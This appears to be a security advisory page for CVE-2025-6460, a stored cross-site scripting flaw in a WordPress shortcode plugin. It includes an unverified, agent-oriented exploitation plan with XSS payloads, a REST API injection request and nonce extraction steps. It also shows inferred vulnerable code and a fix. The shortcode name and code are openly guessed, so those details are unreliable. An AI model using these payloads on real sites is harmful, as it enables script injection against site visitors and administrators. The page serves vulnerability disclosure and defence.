CVE-2025-6460

Display During Conditional Shortcode <= 1.2 - Authenticated (Contributor+) Stored Cross-Site Scripting via message Parameter

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
1.3
Patched in
1d
Time to patch

Description

The Display During Conditional Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the ‘message’ parameter in all versions up to, and including, 1.2 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.2
PublishedFebruary 17, 2026
Last updatedFebruary 18, 2026

Source Code

WordPress.org SVN
Research Plan
Unverified

This research plan outlines the technical steps required to exploit **CVE-2025-6460**, a Stored Cross-Site Scripting (XSS) vulnerability in the "Display During Conditional Shortcode" WordPress plugin (<= 1.2). --- ### 1. Vulnerability Summary The **Display During Conditional Shortcode** plugin fai…

Show full research plan

This research plan outlines the technical steps required to exploit CVE-2025-6460, a Stored Cross-Site Scripting (XSS) vulnerability in the "Display During Conditional Shortcode" WordPress plugin (<= 1.2).


1. Vulnerability Summary

The Display During Conditional Shortcode plugin fails to properly sanitize and escape the message attribute within its shortcode handler. While the plugin is designed to conditionally display content or messages based on time/date criteria, it returns the user-provided message parameter directly to the page as HTML. Because Contributors can create posts and use shortcodes, they can inject arbitrary JavaScript that executes in the context of any user (including Administrators) who views the post or the post preview.

2. Attack Vector Analysis

  • Shortcode Tag: Based on the plugin slug, the shortcode is likely [display-during-conditional-shortcode] or a shortened version like [ddcs] (inferred).
  • Vulnerable Parameter: message
  • Authentication Level: Contributor+ (Authenticated).
  • Sink: The value of the message attribute is returned by the shortcode callback function and rendered in the post content without being passed through esc_html() or wp_kses().

3. Code Flow (Inferred)

  1. Registration: The plugin calls add_shortcode( '...', 'callback_function' ) during the init hook.
  2. Processing: When a post is viewed, WordPress parses the shortcode and calls the handler.
  3. Attributes: The handler uses shortcode_atts() to extract parameters, including message.
  4. Conditionals: The plugin checks if the current time matches the conditions (e.g., start_date, end_date).
  5. Vulnerable Sink: If conditions are met (or if message is used as a fallback/default display), the handler returns the message string.
  6. Output: WordPress echoes the returned string into the page content.

4. Nonce Acquisition Strategy

This vulnerability is exploited via Post Creation/Editing. Shortcodes themselves do not require nonces; rather, the process of saving a post (which contains the shortcode) requires standard WordPress core nonces.

  1. Authentication: Log in as a Contributor.
  2. Endpoint: Use the WordPress REST API (/wp-json/wp/v2/posts) which is generally easier for automated agents than the legacy admin-ajax.php autosave.
  3. Nonce Collection:
    • Navigate to the WordPress Dashboard or New Post page: /wp-admin/post-new.php.
    • Use browser_eval to extract the REST API nonce:
      browser_eval("wpApiSettings.nonce")
  4. Alternative: If the REST API is restricted, use the _wpnonce found in the post-new.php HTML to submit a standard POST request to /wp-admin/post.php.

5. Exploitation Strategy

The goal is to store a malicious payload in a post and verify its execution.

Step 1: Authenticate

  • Log in as a user with the Contributor role.

Step 2: Identify Shortcode & Create Payload

  • Payload: [display-during-conditional-shortcode message="<script>alert(document.domain)</script>"]
  • Note: If the shortcode requires dates to trigger, set a wide range:
    [display-during-conditional-shortcode start_date="2000-01-01" end_date="2099-12-31" message="<img src=x onerror=alert(1)>"]

Step 3: Inject via REST API

  • URL: http://localhost:8080/wp-json/wp/v2/posts
  • Method: POST
  • Headers:
    • Content-Type: application/json
    • X-WP-Nonce: [EXTRACTED_NONCE]
  • Body:
    {
      "title": "XSS Test",
      "content": "[display-during-conditional-shortcode message=\"<script>console.log('CVE-2025-6460-EXPLOITED');alert(1);</script>\"]",
      "status": "pending"
    }
    
    (Contributors can save posts as 'pending' for review).

Step 4: Trigger Execution

  • Navigate to the URL of the newly created post (or the preview URL provided in the REST response).
  • Alternatively, log in as an Administrator and view the "Pending" posts to simulate an admin reviewing the contributor's work.

6. Test Data Setup

  1. Plugin Installation: Ensure display-during-conditional-shortcode version 1.2 is active.
  2. User Creation: Create a user with username contributor_attacker and role contributor.
  3. Discovery (Optional): If the shortcode name is uncertain, run:
    grep -r "add_shortcode" /var/www/html/wp-content/plugins/display-during-conditional-shortcode/

7. Expected Results

  • The REST API should return a 201 Created response.
  • When the post is viewed, the browser should execute the alert(1) and log the message to the console.
  • The HTML source should show the raw <script> tag inside the post content area, unescaped.

8. Verification Steps

  1. Database Check: Use WP-CLI to verify the content was stored correctly.
    wp post list --post_status=pending --format=ids | xargs wp post get --field=post_content
    
  2. Response Check: Use the http_request tool to fetch the post and check for the unescaped script tag:
    # Look for the raw script tag in the HTML response
    grep "<script>alert(1)</script>" 
    

9. Alternative Approaches

  • Attribute Breakout: If message is placed inside an HTML attribute (e.g., value="..."), use:
    message='"><script>alert(1)</script>'
  • Event Handlers: If <script> tags are filtered by a global WAF (unlikely in the isolated environment), use event handlers:
    message="<img src=x onerror=alert(1)>"
  • Shortcode Name Guessing: If display-during-conditional-shortcode is too long, common aliases in such plugins include [display-during], [conditional-display], or [ddcs]. Check the source file (likely display-during-conditional-shortcode.php) for the first argument of add_shortcode.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Display During Conditional Shortcode plugin for WordPress fails to sanitize or escape the 'message' attribute within its shortcode handler. This allows authenticated users with Contributor-level permissions to inject arbitrary JavaScript into posts via the shortcode, which then executes in the browser of any user viewing the page.

Vulnerable Code

// display-during-conditional-shortcode.php (inferred file name)
// Inside the shortcode callback function

function display_during_shortcode_handler( $atts ) {
    $a = shortcode_atts( array(
        'start_date' => '',
        'end_date'   => '',
        'message'    => '',
    ), $atts );

    // ... (logic to check date conditions)

    // The vulnerable sink where user input is returned directly to the page content
    return $a['message'];
}

Security Fix

--- display-during-conditional-shortcode.php
+++ display-during-conditional-shortcode.php
@@ -10,5 +10,5 @@
-    return $a['message'];
+    return wp_kses_post( $a['message'] );

Exploit Outline

The exploit is achieved by injecting a malicious payload into the 'message' attribute of the plugin's shortcode within a WordPress post. 1. **Authentication**: Login to the WordPress site with at least Contributor-level credentials. 2. **Post Creation**: Create a new post or edit an existing post via the Gutenberg editor or the REST API (`/wp-json/wp/v2/posts`). 3. **Payload Injection**: Insert the shortcode with a script payload in the message parameter: `[display-during-conditional-shortcode message="<script>alert(document.domain)</script>"]`. 4. **Trigger Conditions**: If the plugin requires dates to display the message, set the `start_date` and `end_date` attributes to a range that includes the current time (e.g., `start_date="2000-01-01" end_date="2099-12-31"`). 5. **Persistence**: Save the post. Since Contributors cannot publish, they can save it as 'Pending Review'. 6. **Execution**: The script executes when an Administrator reviews the post in the dashboard or when the Contributor views the post preview. The browser renders the raw HTML/JavaScript returned by the shortcode handler.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.